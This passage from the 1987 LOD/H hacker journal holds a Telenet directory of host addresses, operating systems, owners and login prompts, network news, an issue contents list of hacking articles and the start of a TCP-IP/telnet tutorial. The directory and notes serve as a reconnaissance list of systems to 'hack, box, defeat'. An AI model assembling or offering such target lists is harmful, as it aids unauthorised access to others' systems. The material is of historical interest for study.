41534	DG AOS/VS	
41537	HP-3000	CASTOR
41538	HP-3000	POLLUX
41539	RSX-11	
41545 $	19.2.17	Primenet CESSF
41548		Dialog
41549		Dialog
41550 $		"Network (BUR) terminal must sign-on"
41553	VMS 3.5	
41557 $		"Network (BUR) terminal must sign-on"
41559	19.2.11	Primenet MD.NWR
41560		Leasametric
41566 $		
41567 $		"Network (BUR) terminal must sign-on"
41574 $	DG AOS/VS	
41575	20.2.1	Primenet MD.SCV
41577	20.2.0	Primenet RS.WC
41578	19.2.11	Primenet MD.SAC
41579	19.4.2.R11	Primenet MD.SFO
41580 $	Systar Elf	Harper Group Information Network
41585	19.1.1	Primenet COUR
415111	Burroughs	RCC Palo Alto B7800 (348)
415120$	IBM VTAM	USS-10 Please Sign On:
415124		"Enter Session Establishment Request:"
415125		"Enter Session Establishment Request:"
415130$	DG AOS/VS	R05A
415131$	DG AOS/VS	R05F14A
415133		hplabst.arpa San Jose
415138$		
415140	19.3.4	Primenet ROSCOA
415154$		
415157	VAX/VMS	VAX Node One
415158	Systar Elf	ESPRIT DE CORP Info System
415164$	DG AOS/VS	S27A
415166	IBM VM/370	"Enter System ID" (Type V for VM/370)
415167	19.4.3	Primenet VESTEK
415168$		
415169$	DG AOS/VS	R05F14D58A
415175	HP-3000	
415233	DG AOS/VS	Berkely Solar Group
415234	HP-3000	
415242	VAX/VMS	
415254	IBM VM/370	"Enter System ID" (Type V for VM/370)
415257	IBM TSO	(Running ACF2)
415258	IBM TSO	(Running ACF2)
415260	19.3.6	Primenet CORP1

--- End of first half of directory. ---

Updated: Telenet Directory
Part B: Addresses 503XXX to 919XXX
Revision #4 Last Updated: 1/1/87
(Including available Uninet hosts)

ADDRESS	OS/COMP TYPE	SYSNAME/OWNER/RESPONSE/COMMENTS/ETC.
50335 $	DG AOS/VS	R06F12D07A
50340 $	DG AOS/VS	R06F12D01A
50345 $	DG AOS/VS	R06F16D02A
50371 $	DG AOS/VS	R06F01A
50373 $	DG AOS/VS	R06F18D04A
50374 $		
50375		"Please Sign On"
50376	DG AOS/VS	R06F07A
50377	DG AOS/VS	R06F18D03A
50378	DG AOS/VS	R06F01D01A
50420 $		
50431 $		"ID Incorrect Location ID"
50433 $	DG AOS/VS	R008F07D14A
50436 $		
50437 $	DG AOS/VS	R08F07D14A
50438 $		
50444 $		
50445 $	DG AOS/VS	R08F06D05A
50446 $	20.0.4.R2	Primenet BROUGE
50450 $	DG AOS/VS	R08F06D04A
50530 $	DG AOS/VS	R03A
50540 $	DG AOS/VS	R03F06A
50560 $		
50570 $		
50575 $		
50921	19.1.1	Primenet AIS
50926 $	DG AOS/VS	R06F17D07A
50927 $		
50931 $		
50932 $		
50933 $		
50934 $		
50935 $		
51250 $		AHSC (American High School CXXX)
51330		Lexis/Nexis
51331	Port Sel.	Meadnet
51337 $	19.4.8.GE9	Primenet E03
51350 $	HP-3000	
51351 $	HP-3000	
51530		Lexis/Nexis
51630	VAX/VMS	New York Institute of Technology Node Office::
51635		CCI Multilink Services
516140$		TDK Electronics Corp.
516200	VAX/VMS	"909 208 Connected" Telenet INFO System
516201	VAX/VMS	"909 208 Connected" Telenet INFO System
516601$	TOPS-20	Contel Business Networks, N.A.C.
516610	19.3.6	Primenet P550
516620		S.W.I.F.T. GLOBAL

```
|516622 |            | VTI NYK
|516623 |            | VTI NYK
|516624 |            | VTI NYK  VITEL SAV978447
|516625 |  VAX/VMS   |
+-------+------------+-------------------------------------------------------+
|51729  |  RSTS      | Scientific CC
|51730  |  IBM TSO   |
|51731  |  IBM TSO   |
|51740 $|            |
+-------+------------+-------------------------------------------------------+
|51830  |            | "USS MGG10 MHP201A UPK06X01 * Version 4 * Application
|51831  |            | "USS MGG10 MHP201A UPK06X01 * Version 4 * Application
|51835  |            | "USS MGG10 MHP201A UPK06X01 * Version 4 * Application
|518601 |  VAX/VMS   | <SYSTEM PASSWORD INSTALLED>
|518617 |            | IAS Program Dev. Metcalf & Eddy Engineering Computing
+-------+------------+-------------------------------------------------------+
|60333 $|  DG AOS/VS |
|60336 $|            |
|60340 $|  VAX/VMS   |
|60346  |            | "User Number--"
|60352  |  Gateway   | DEC Easynet X.29/DECnet Gateway
|60353  |  IBM VM/370| TELUS Proposal System - Chubb Securities
|60354  |  IBM VM/370| TELUS CMSSEG - System Name
|60366  |            | "User Number--"
|603605 |  VAX/VMS   |
+-------+------------+-------------------------------------------------------+
|60733  |  IBM VM/370|
|60734  |  IBM VM/370|
|60744  |  IBM VM/370| "Enter System ID" (Type B for VM/370)
|60745  |  IBM VM/370| "Enter System ID" (Type B for VM/370)
|60767  |  IBM VM/370| Cornell Computer Services
+-------+------------+-------------------------------------------------------+
|60921  |  IBM VM/370| CIGMA Corporate Network  (Type VM then LOGON)
|60922  |            | "!!SUYHK!!"
|60923 $|  Port Sel. | P.C.C. (1=TOPS-20)
|60925  |            | CIGMA Corporate Network
|60938  |  IBM VM/370| (Running ACF2)
|60942  |            | Dow Jones
|60963 $|            | "XXX"
|60968 $|            | "XXX"
|60977  |  IBM VM/370|
|60978  |  IBM VM/370|
|609100 |  Prime     |
|609138 |  19.4.11   | Primenet PRINCE
|609230 |            | "909 849 Connected"
|609242 |            | Dow Jones
+-------+------------+-------------------------------------------------------+
|61223  |            | Westlaw
|61236  |  TOPS-10   | A.C. Nielson Information Center
|61237  |            | Westlaw
|61239  |            | Westlaw
|61241  |  TOPS-10   | A.C. Nielson Information Center
|61246 $|  Port Sel. |
|61252 $|  Prime     |
|61256  |            | Westlaw
|61257  |            | Westlaw
|61262  |            | Westlaw
|61276  |            | Westlaw
|612135 |  VAX/VMS   |
+-------+------------+-------------------------------------------------------+
|61421  |            | STN INTL
|61430  |            | "ID  Incorrect Location ID"
|61431  |            | STN INTL
|61433  |  19.4.5.R7 | Primenet SYSC
```

```
|61442  |  DG AOS/VS |
|61444  |  Prime     | "Good Evening"
|61445  |  Prime     | "Good Evening"
|61447  |  Prime     | "Good Evening"
|61448  |  Prime     | "Good Evening"
|61449  |  HP-3000   |
+-------+------------+-------------------------------------------------------+
|61641 $|            |
|61642  |            | Telenet Async to 3270 Service
|61643A |            | Telenet Async to 3270 Service
|61650  |  Port Sel. |
|61660  |            |
|61661  |            | "Incompatable Destination"
+-------+------------+-------------------------------------------------------+
|61720  |  19.4.11.A | Primenet PBN27
|61722  |  19.4.11.A | Primenet BDSD
|61723 $|  RSX-11    |
|61724  |  Port Sel. | "ts=tso i=interact v=vm"
|61730 $|  LAN       | GTE-LAN  GS/1>
|61737  |  19.4.11.A | Primenet BDSH
|61738 $|            | BBN-TC-TELNET
|61746 $|  19.2.7F   | Primenet BDSS
|61747 $|  Port Sel. | "HOST:"
|61748  |  Prime     | IRI System 4
|61749  |  19.4.11.A | Primenet OASD
|61750 $|  19.4.11.A | Primenet BDSP
|61751 $|  VAX/VMS   |
|61761  |  IBM TSO   |
|61763  |  Prime     | IRI System 3
|61764 $|  19.4.11.A | Primenet ALLYN
|61767  |  Prime     | IRI System 1
|61772  |  Prime     | IRI System 2
|61778 $|  20.2.0    | Primenet MD.D
|61784 $|  LAN       | Marlboro HPS/C Software Engineering  X28SRV
|617114$|  20.2.0    | Primenet MD.B
|617115 |  20.2.0    | Primenet TRNG.E
|617119 |  Port Sel. | "Enter i=irving t=test w=interact c=idmsdc"
|617127$|  RSX-11    |
|617130 |  Honeywell | "$$ 00 * Datanet8 DNS 2.6"
|617133 |            | Weather Services International (WSI)
|617135$|  VAX/VMS   | Arthur D. Little Inc.
|617137 |  IBM VM/370|
|617138 |  Multics   | Massachusetts  Institute of Technology
|617143 |  IBM VM/370| IDC
|617148 |  19.4.11.A | Primenet OASQ
|617151$|  IBM TSO   | "Enter logon or )aplogon" (Running ACF2)
|617152 |  IBM TSO   | (Running ACF2)
|617153 |  Unix 4.2  | (csnet-relay)
|617158 |  19.4.11.A | Primenet BDSW
|617160 |  19.4.8    | Primenet S38
|617163$|  19.4.2.R3 | Primenet BARBIE
|617164 |  Gateway   | Systar Corporation Gateway/GTE Sylvania Gateway
|617169 |  19.4.11.A | Primenet PBN36
|617191 |  Prime     | IRI System 5
|617196 |  Port Sel. | Yankee Data Communications Network
|617200$|  VAX/VMS   | Joint Computer Facility Vax
|617226 |  IBM VM/SP | IRI System 6
|617230 |  IBM VM/370|
|617239 |  Prime     |
|617255 |  19.4.11.A | Primenet PBN43
|617256 |            | MGH Teaching Supervisor
|617270 |  VAX/VMS   |
|617272$|            | "Incorrect Location ID"
|617275$|  LAN       | BBN TC-TELNET  Address 192.1.2.11
```

```
|617315$|  19.2.7F   | Primenet BDSP
|617338$|  DG AOS/VS | Shawmut Bank Of Boston  MV10A
|617343 |  VAX/VMS   | Sylvania Lighting Center Engineering Comp. & Math Dept.
|617350 |  19.2.7F   | Primenet PBN39
|617351 |  19.4.11.A | Primenet BDSU
|617352$|  19.4.11.A | Primenet OASB
|617353 |  19.4.11.A | Primenet PBN34
|617361$|  VMS 4.3   | DECnet Node3  Information Services Cluster
|617380 |  19.4.8    | Primenet L01
|617381 |  19.3.7    | Primenet P01
|617382 |  19.4.8    | Primenet Y01
|617383 |  19.3.7    | Primenet H02
|617384 |  19.4.8    | Primenet V01
|617385 |  19.3.7    | Primenet R01
|617387 |  19.3.7    | Primenet B01
|617403 |  Prime     |
|617443 |  IDC/370   |
|617446 |  19.4.10.R4| Primenet ENO
|617510 |  20.2.0    | Primenet EN.C06
|617512 |  19.4.11.A | Primenet EN.C19
|617516 |  19.4.11.A | Primenet PBN38
|617525 |  Prime     | IRI System 8
|617551 |  19.4.10   | Primenet CSP-A
|617552 |  Prime     |
|617558 |  20.2.0    | Primenet CS9950
|617559 |  19.4.5    | Primenet EN.C02
|617560 |  19.4.11.A | Primenet BDSN
|617562 |  19.4.11.A | Primenet BDSZ
|617563 |  Prime     |
|617564 |  20.0.4    | Primenet MD.NE
|617566 |  20.2.0    | Primenet MF.NPL
|617568 |  19.4.11.A | Primenet CASI
|617572 |  19.4.10   | Primenet S59
|617587 |  19.4.3    | Primenet TR.SCH
|617592 |  19.4.5.E4 | Primenet CS
|617605$|  DG AOS/VS | Shawmut Bank of Boston
|617609 |  VAX/VMS   | Xyplex CC8 Controller (Type Connect) Waltham Comp.
|617611$|  Unix 4.2  | (sh.cs.net)
|617613$|  TOPS-10   | NIH - Prophet  Node DNA
|617614$|            |
|617622 |  Unix 4.3  | (media-lab.mit.edu)
|617637 |  IBM VM/370|
|617638 |  IBM VM/370| MIT-VM
|617641 |  DG AOS/VS | Timeplace, Inc.
|617644$|  DG AOS/VS | Shawmut Bank of Boston
|617645 |            |
|617663 |  IBM TSO   | "PCI Please enter logon DFH2001"
|617735 |            | GTE Telenet Async 3270 Service  Norton Corporate Network
+-------+------------+-------------------------------------------------------+
|61931 $|  OS/32     | Terminal Monitor 08-02 Beta  San Diego
|61941  |  IBM VM/370|
|61943 $|  HP-3000   |
+-------+------------+-------------------------------------------------------+
|70320  |  DG AOS/VS | R09F21D04A
|70321  |  DG AOS/VS | R09F21D05A
|70330  |  DG AOS/VS | R08F08A
|70333  |  DG AOS/VS | R08F14A
|70340  |  VAX/VMS   | Gannet News Media Services
|70341  |  VAX/VMS   |
|70343  |  UNIX      | DCA-EMS C70UNIX
|70344  |  DG AOS/VS | AOS Project HOPE - MV10 System
|70346  |  UNIX      | DCA-EMS C70UNIX
|70357  |  Port Sel. | "Select Service" (Wylbur, PCI, CMS, TSO)
|70368 $|  DG AOS/VS | R08F08D02A
```

```
|70370 $|  DG AOS/VS | R08F08D03A
|70371 $|  DG AOS/VS | R08F08D05A
|70372 $|  DG AOS/VS | R08F14D05A
|70374  |  TOPS-20   | AAMSHARE Remote Computing Services
|703101 |            | "Please Login" ADNET
|703102 |            | "Please Login" ADNET
+-------+------------+-------------------------------------------------------+
|70430  |  19.4.7    | Primenet JONES
|70460 $|  DG AOS/VS |
+-------+------------+-------------------------------------------------------+
|71115  |  Prime     | GTCNET
|71116  |            |
+-------+------------+-------------------------------------------------------+
|71325 $|  TOPS-20   |
|71329 $|  Port Sel. | M.E.I. Systems
|71334 $|  18.3.175  | Primenet GVC
|71347  |  DG AOS/VS | Dresser Magcobar
|71353 $|  IBM TSO   | Hou..D. Tenneco Inc. (ACF2)
|71354 $|  IBM TSO   | Hou..D. Tenneco Inc. (ACF2)
|71355 $|  IBM VM/370| Tenneco Corporate VM Systems (ACF2)
|71356 $|  IBM VM/370| Tenneco Corporate VM Systems (ACF2)
|71357  |  IBM       | (Running ACF2)
|71359 $|  DG AOS    |
|71365  |            | "ERR-Invalid Action Code"
|71369  |            | "ERR-Invalid Action Code"
|71386 $|  IBM MVS/SP| Tenneco MVS/SP System (ACF2)
|713170 |  20.2.1    | Primenet MD.HOU
|713171 |  20.2.1    | Primenet CS.HOU
|713172 |  19.4.5    | Primenet IR.HOU
|713173 |  19.4.5    | Primenet MD.AUS
|713176 |  20.2.0    | Primenet TRNG.D
|713196 |  19.4.2.R  | Primenet PREVS1
+-------+------------+-------------------------------------------------------+
|71430 $|  HP-3000   |
|71438 $|  19.4.2    | Primenet SYS1  PacTel Mobile Companies
|71441 $|  DG AOS/VS | R05F
|71448  |  19.3.3    | Primenet TWCALF
|71449  |  Port Sel. | "Service ID:"
|71455 $|  HP-3000   |
|71472  |  19.4.9    | Primenet FSCOPE
|714123$|  HP-3000   |
|714142 |  HP-3000   |
|714143 |            |
|714606 |  HP-3000   |
|714608 |            | "Select:"
+-------+------------+-------------------------------------------------------+
|71625  |  Burroughs |
|71641  |  VAX/VMS   |
|716605 |  IBM       | Bausch & Lomb Data Center
+-------+------------+-------------------------------------------------------+
|71730 $|            |
|71731 $|            |
|71732 $|            |
|71733 $|            |
|71734 $|            |
+-------+------------+-------------------------------------------------------+
|80125  |            | Wasatch Security Services Timeshare
|80126  |  Unix 4.1  | Berkeley Wasatch System VAX/UNIX BSD 4.1
|80144 $|  DG AOS/VS |
|80149 $|            |
|80150 $|  DG AOS/VS | S22A
|80154 $|  VAX/VMS   |
|80160 $|  DG AOS/VS |
|80162 $|            |
```

```
|80165 $|  DG AOS/VS |
+-------+------------+-------------------------------------------------------+
|80423  |  Port sel. | Babcock and Wilcox Computer Center
|80424  |  Port sel. | Babcock and Wilcox Computer Center
|80435  |  VAX/VMS   |
|80460 $|            | "ID  Incorrect Location ID"
|80461 $|            |
|80462 $|            |
+-------+------------+-------------------------------------------------------+
|80530 $|  DG AOS/VS | R05F07D55A
|80550  |  VAX/VMS   |
|80551  |  VAX/VMS   |
|80558 $|  HP-3000   |
|80560 $|            |
|80561 $|            |
|80562 $|            |
|80563 $|            |
|80564 $|            |
|80565 $|            |
+-------+------------+-------------------------------------------------------+
|80850  |            | ">>"
|80855  |            | "ID ?"
|80865  |            | "ID ?"
|80870  |            | ">>"
|80885  |            | "ID ?"
|80895  |            | "ID ?"
|808500 |  HP-3000   |
+-------+------------+-------------------------------------------------------+
|81230 $|  DG AOS/VS | R09F11A
+-------+------------+-------------------------------------------------------+
|81331 $|  IBM VM/370|
|81335  |  19.4.5    | Primenet S9750
|81343  |  Honeywell | "$$ Device Type Identifier:" (Type A1)
|81352 $|  TOPS-20   | Price Waterhouse Timesharing
|81353 $|  TOPS-20   | Price Waterhouse Timesharing
|81355 $|            | Price Waterhouse System
|81359 $|            |
|81360  |            |
|81365  |            |
|81373  |  IBM VM/370|
|81374  |  Honeywell | "$$ Device Type Identifier:" (Type A1)
|81377  |            | "MCS: Transaction "" is not recognized(205)
|813132$|  IBM VM/370|
|813140 |            | IBM Information Network (3270 Emulation only)
|813143 |            | IBM Information Network (ASCII Emulation)
|813144 |  Honeywell |
|813160 |  VAX/VMS   |
|813170 |            | "Access Code:"
|813172 |            | IBM Information Network (ASCII)
|813255$|            | "Security Subsystem  Please enter your security code"
|813620 |  IBM VM/370|
+-------+------------+-------------------------------------------------------+
|81450  |  19.4.8    | Primenet SYSA
+-------+------------+-------------------------------------------------------+
|81634  |            |
|81636  |            |
|81644 $|  DG AOS/VS | R09F05D22A
|81645 $|            |
|81657 $|            |
|81658 $|            |
|81659 $|            |
|81690  |  TOPS-20   | AMCI - Kansas City (SAME AS C AMC)
+-------+------------+-------------------------------------------------------+
|90160 $|            |
```

```
|901651 |  Gateway   | Schering Plough Corporation  Systar Corp. Gateway
|901652 |  Gateway   | Schering Plough Corporation  Systar Corp. Gateway
+-------+------------+-------------------------------------------------------+
|90445 $|  DG AOS/VS |
|90449  |  VAX/VMS   | Alliance Mortgage Automated Communication System
|90450 $|  DG AOS/VS |
|90451  |  IBM       | "Command Uncrecognized"
+-------+------------+-------------------------------------------------------+
|90995  |            | Telemail
|909761 |            | Telemail
+-------+------------+-------------------------------------------------------+
|91433  |  IBM VM/370| (Running ACF2)
|91438 $|  IBM VM/370|
|91441 $|  IBM VM/370|
|91442 $|            | "ZAN0001 com-plete is active"
|91456  |            |
|914247 |  VAX/VMS   | Pergamon Infoline
+-------+------------+-------------------------------------------------------+
|91655  |  19.4.10   | Primenet FIMSAC
|916607 |  Unix      |
+-------+------------+-------------------------------------------------------+
|91830 $|            | "ID  Incorrect Location ID"
|91831 $|  DG AOS/VS | R08F09D06A
|91870 $|  DG AOS/VS |
+-------+------------+-------------------------------------------------------+
|91930  |  IBM       | "Please reenter logon line"
|91931  |  IBM       | "Please reenter logon line"
|91932  |  IBM       |
|91933 $|            |
|91943  |  IBM VM/370| "Enter System ID" (Type 'd')
|91946  |  IBM VM/370| "Enter System ID" (Type 'd' 'j' 'v' 'r' 'p')
+-------+------------+-------------------------------------------------------+
```

UNINET HOSTS AVAILABLE ON TELENET:

```
_____________________________________________________________________________
|C APPLE    | Ultrix V1.2 |                                                 |
|C BOEING   | Unix        |
|C PRIME    | 19.4.9      | Primenet SYS750
|C AMC      | TOPS-20 V5.1| AMCI - Kansas City
|C SUMEX    | TOPS-20 V6.1| Stanford University
|C INFO     | TOPS-20     |
|C EIES     |             | NJIT Electronic Information Exchange System
|C FSU      | CDC Cyber   | Florida State University Cyber Network
|C ESC      | SYS/32 VOS  | United Computer Services Group
|C ITS      | SYS/32 VOS  | United Computer Services Group
|C SIS      |             | Scientific Information Services
|C NETWORK  |             | AAMNET
|C ADNET    |             | ADNET
|C OLS      |             | OLS System 3
|C CMS      |             | "Enter a for astra"
|C COS      |             | "Enter a for astra"
|C NSF      |             | "Access to this address not permitted"
|C SPR      |             | UIS Supra
|C VUTEXT   |             | VUTEXT Services
|C MAIL     |             | Telemail
|C TELEX    |             | Telemail
|C NET      |             | Newsnet
|C SIT      |             | Sitenet
|C DOW      |             | Dow Jones
|C CIS      | TOPS-20     | The Information Service
|C DELPHI   | VAX/VMS     | Delphi Computer services
|C S10 - S19| Prime       | Source System 10 to Source System 19 Respectively
|C WELL     |             | The Well Mail Service
```

```
|C BLUE     |             |
|C K3C      |             |
|C COM     *|             |
|C OAG     *|             | Official Airlines Guide
|C DIR     *|             |
|C ABJ     *|             |
|C AFS     *|             |
|C CEN     *|             |
|C KCI     *|             |
|___________|_____________|_____________________________________________|
```

'*' at end of UNINET host name signifies system temporarily out of service.
'$' at end of address signifies 'will not accept collect connection' thus, you need a 'Telenet ID' or some other means to connect to the system.
Any addresses responding with "Rejecting" or "Not Operating", are temporarily down. ALL above addresses were working as of the date of update.

Definitions of abbreviations:

DG - Data General
P-E - Perkin-Elmer
AOS - Advanced Operating System (DG)
ACF2 - Access Control Facility 2, Software Security Package for IBM Mainframes.
CICS - Customer Information Control System (IBM)
TSO - Time Sharing Option (IBM)
TOPS - Total OPerating System (DEC)
RSTS/E - Resource System Time Sharing /Environment (DEC)
Multics - O/S Made by Honeywell (no longer in production)
CDC - Control Data Corporation (Makes CYBER Computers)
LAN - Local Area Network
Port Sel. - Port Selector - could be a MICOM, a PACX, or other which enables you to connect to various host systems.

Legion Of Hackers
Contributors:

Lex Luthor / Gary Seven (LOH)

The LOD/H Technical Journal: File #12 of 12

Network News & Notes

ISDN passes first real-world test (ComputerWorld, Nov. 24th, 1986)

After at least five years development work and prototyping on vendors' premises, the first operational Integrated Services Digital Network involving customer premises equipment was successfully tested.

In two initial tests, Arizona government officials transmitted both voice and data between their offices through a Northern Telecom, ISDN digital switch residing on Mountain Bell's Phoenix Central Office.

The trial offers participating vendors the opportunity "to evaluate ISDN technology and determine customer benefits outside the research lab". Customer premises equipment used in the trial is still in the prototype phase, however. No time frames for introducing commercial offerings were discussed.

In the first of two ISDN applications demonstrated at a news conference, Don Cline, Mountain Bell's Arizona VP and CEO, placed a five minute voice call at the Phoenix Civic Plaza to Arizona Secretary of State Rose Mofford and simultaneously transmitted a certificate commemorating the event. The transmissions were handled by Northern Telecom's Meridian digital telephone sets and workstations and passed through a Northern Telecom DMS-100 ISDN switch as Mountain Bell's Phoenix CO.

In the second ISDN application an NCR PC was used to access and alter a driver's record residing on an Amdahl 5850 host in the Motor Vehicles Division from two blocks away.

Sending both voice and data in digital form over the same twisted-pair telephone wiring is more reliable than analog communications and in the long run will save a lot of money. Workstations linked over an ISDN basic interface can be moved as easily as you can move telephones, as opposed to having to restring coaxial cable.

Long-awaited McDonald's ISDN trial to start in two weeks (ComputerWorld 12-1)

During the second user-site ISDN trial, scheduled to begin Dec. 16, at least four rival communications equipment vendors will test whether their terminal interfaces conform closely enough to the telecommunications standard to communicate.

McDonalds's Corp, agreed more than two years ago to participate in the trial, which is sponsored by Ameritech divested BOC Illinois Bell, because the fast-food giant wanted the emerging technology for its own use.

Slated to continue at least through early 1988, the trial ISDN network will link a variety of workstations and hosts at McDonalds headquarters located in Oak Brook, Ill., through a Northern Telecom DMS-100 ISDN switch residing at Illinois Bell's CO.

The company will start with 50 basic-rate digital subscriber lines and gradually ramp up to a projected 300 to 400 lines by the end of 1987. The basic interface defines two 64K bit/sec B channels and a separate 16K bit/sec D channel to carry data packets and signaling information.

All the products used in the trial are designed to communicate with AT&T's 5ESS switch. While the basic ISDN interface is sufficiently well defined to permit different vendor's implementations to communicate, different vendors' CO switch products still retain software incompatibilities.

The way terminal adapters communicate via ISDN is still defined by the CO switch, terminals can be modified to communicate with either AT&T's or Northern Telecom's ISDN switch, but you can't just unplug a terminal and move it from one switch to the other.

Originally slated to be the first ISDN trail to begin operations, the project was delayed for approximately a month while AT&T finished implementing software on the 5ESS ISDN switch at Illinois Bell's CO. While the hardware used in AT&T's ISDN switch is commercial, the software is coming slowly.

Growth forces split in 305 area code

Southern Bell announced that rapid growth will force them to split the 305 area code in two, with Broward, Dade, and Monroe counties remaining 305 and Palm Beach County to Orlando becoming 407. "If we didn't make the split we'd literally run out of phone numbers".

The split is slated to take place in April 1988, making 407 Florida's fourth area code and the first new one in 23 years.

---

617 currently with 533 exchanges will be splitting off into 508 in 1988.
303 will be split with Denver remaining 303 and 719 will cover Colorado Springs.

This leaves the following NPA's open: 708, 903, 908, 909, 917
not including X10 where X is 4,6,7,8, and 9.

Secret Service Buys Telenet Network (Communications Week)

US Sprint Communications Corp's Telenet Communications Corp subsidiary has signed a $35 million multiyear contract to build a private data network for the US Secret Service.

The contract marks Telenet's first major private network coup in the highly competitive market of sensitive government communications. While telenet would not reveal the extensiveness of the network or its applications, the Secret Service acknowledges having 4,300 employees and about 100 locations in the United States.

Data transmission plays a significant role in the Secret Service's mandate, which beyond guarding the president includes the investigation of counterfeiting, securities and electronic funds transfer violations and credit card fraud.

Encryption or other security measures are expected to be employed in the new system, but telenet does not provide those functions.

In addition to its public network, Telenet has sold about 70 private networks, about 100 hybrid networks using public and private capabilities, and many hundreds of virtual private networks.

It will take more than a year to complete construction.

New Social Security Net (Communications News)

The US Social Security Administration will install new modems and diagnostic and control systems as part of a program to establish its Data Communications Utility Network, which covers 1500 offices in the US.

The new network will handle interactive Social Security claims processing. Equipment for this phase is being provided by Racal-Milgo in an $11 million contract.

Allnet extends southward with big capacity purchase (Communications News)

Through the purchase of capacity from three providers, Allnet Communications Corporation has added 4,000 miles of fiber-optic route to its network.

In a $36 million deal, the company purchased capacity, in the southeastern US from Microtel, SouthernNet and Southland FiberNet. All three are members of the National Telecommunications Network.

Southern Cal to link 11,000 users on net (Communications News)

The University of Southern California is in the process of establishing a $21.8 million University Communications Network that will link more than 11,000 users throughout 185 buildings.

Voice and data will be transmitted over the network, which will use an AT&T System 85 PBX, a system of local-area networks, and an intercampus microwave network.

Approximately 12 miles of fiber-optic cable will be used to link 21 USC schools. The system will include 10 Information System Networks and 504 Starlan networks.

The telecommunications project is scheduled for completion in March of 1988.

Dallas to use Cell System (Communications News)

The city of Dallas has begun a $2.9 million program to outfit personnel in various city departments with mobile cell roaming data communications systems. The network will consist of 545 Mobile Data International MDI 9031 mobile data terminals with the 8020 integral data radio, 20 6000 series hand-held portable data terminals, related base equipment and automatic zone transfer between six calls using 11 radio frequencies with frequent re-use.

Full roaming between the cell sites will be handled on a transparent basis to the operator.

Singapore in Net Upgrade (Communications News)

The Republic of Singapore will install two digital international gateway exchanges as part of a total network upgrade program.

The Telecommunications Authority of Singapore and AT&T International will provide AT&T's 5ESS digital switch. The company said this is the first application of the 5ESS as an international switching point.

The first switch will be handed to the authority in April of 1988 and the second in April of 1989.

That's it for Network News & Notes, some of these articles may not be too interesting, but each has some significance as in interesting systems to hack, box, defeat or find more information about. If you know of any interesting news articles be sure to drop them in mail.

The LOD/H Technical Journal: File #1 of 10
Volume 1, Issue 2 Released: AUG. 10, 1987

THE

LOD/H TECHNICAL JOURNAL

INTRODUCTION:

This is issue #2, we had originally planned to put out 6 issues a year, but it looks as if this will become a quarterly newsletter instead. This is due to the fact that the articles take months to fully research, write, and edit. By year end, we hope to show that we are not a "fly-by-night" newsletter and will continue to provide you with the same level of information, accuracy, and originality as this issue and the first. We appreciate those who have been downloading, storing, and distributing the newsletter in its entirety, and hope this will continue, as it benefits everyone.

Here is the breakdown of this issue: 1 article on Telecommunications, 4 articles on Datacommunications, and one article in the 'other' category. Two authors have written articles for Issue 1, and 5 are new. Obviously this Issue is more hacking related, whereas Issue 1 was more phreaking related. If you have any material which may be of interest, let us know.

Our 'sponsor' BBS list has been shortened to one dependable board, as Metal Shop Private, Shadowspawn, Hell Prozen Over, The Private Sector and Atlantis have all gone down, though some may be back online in the future. Left is Digital Logic. The usernumber/usernames for DL follows for those who wish to get in contact with us. We are open to suggestions for more Sponsor Boards.

Digital Logic: 305-395-6906 New User Pass=DIGIT
LOD/H Technical Journal Staff Account Number is 231.

One last note, a slight clarification on articles. Articles labeled with letters, ie: Part A & Part B as in last issue's articles on the Outside Loop Distribution Plant by Phucked Agent 04 and the LOH Telenet Directory along with this issue's article on Hacking CMS by Lex Luthor are intended to be complete articles in themselves and should be merged together. They were broken up for editing and transmission purposes. Articles labeled as Part 1 & Part 2, are separate articles based on the same subject.

TABLE OF CONTENTS:

01 Introduction to the LOD/H Technical Journal and Table Of Contents for Volume 1, Issue 2	Staff	04 K
02 The Networked Unix	Solid State	17 K
03 Step By Step (SXS) Switching System Notes	Phantom Phreaker	12 K
04 A Guide to the PRIMOS Operating System	Carrier Culprit	25 K
05 Identifying and Defeating Physical Security and	Lex Luthor	30 K

Intrusion Detection Systems Part II: The Exterior

06 A Discrete Unix Password Hacker Shooting Shark 09 K

07 Hacking DEC's TOPS-20: Part II Blue Archer 25 K

08 Hacking IBM's VM/CMS Operating System, Part A. Lex Luthor 26 K

09 Hacking IBM's VM/CMS Operating System, Part B. Lex Luthor 25 K

10 Network News & Notes Staff 07 K

Total: 7 articles, 10 files 180 K

The LOD/H Technical Journal: File #2 of 10

```
----------------------------
     The Networked UNIX
          :TCP-IP
  by:
        SOLID STATE
        June 23 1987
----------------------------
```

PREFACE

I've written this article with the assumption that those reading it have a working knowledge of UNIX and large networks, specifically the DARPA Internet -- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP (Internet Transmission Control Protocol) architecture, such as FTP, TFTP, TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I want to make it known that this file is not intended to be a 'why' file, but instead a 'how to' tutorial. In the event I get a good response concerning this document, I may later release a more technical oriented paper from a programmer's viewpoint.

NOTE: Instances where I give examples of a command format, words in capital represent variables. For example, in the line '$ telnet HOST', HOST should be replaced (in LOWERCASE!) by the name of a system. This is just my means of distinguishing between actual commands and their options.
Control characters are denoted in the form of an exponent, eg. ^H is control H.

YP DATABASE

Present on every UNIX that supports TCP-IP are a set of files labeled by programmers as the yellow pages, that serve as a directory of the hosts and networks accessible by your system. These files are /etc/hosts and /etc/networks respectively. There may also be a third, /etc/hosts.equiv which is a listing of those hosts that share resources and/or have users common to each other. They are ASCII text and have viewable permissions to all. Therefore it may prove helpful to print these out for reference and easy access. Entries in the above mentioned take the form:

```
###.###.###.###     host.owner.research   nicknames
```

Example:

```
18.72.0.39          athena.mit.edu   mit-athena athena
```

The string of numbers, expressed in octal "dot notation", is the NetNumber of the host. Followed by the complete name, and lastly other names which it is universally known as. When attempting to access a system, any one of these identification codes may be used.

NOTE: Most of the databases one will come across are incomplete or may be outdated. A complete host list can be obtained from the Network Information Control Center (NIC) at SRI International, the host name is sri-nic.arpa

TELNET

Telnet is the standard facility used for logging into other systems. It is found not only on UNIX, but TOPS, VMS, and all the other various operating systems found on the DDN. To activate the program:

```
% telnet HOST [PORT]
```

If invoked without arguments, it enters command mode, indicated by the prompt 'telnet>' From here, many functions are available.

open HOST [PORT]
Open connection to named computer. If PORT, which shall be explained subsequently, is ommitted then telnet will contact the TELNET server of that host. As earlier mentioned, systems can be addressed by either their NetNumber, NetName, or a nickname.

close
Close connection and return to command mode.

quit
End session and exit program.

status
Show current status of telnet. ie. connections and toggled options.

z
Suspend telnet. This allows you to operate an interactive shell on the local machine while pending an open connection to a remote host.

? COMMAND
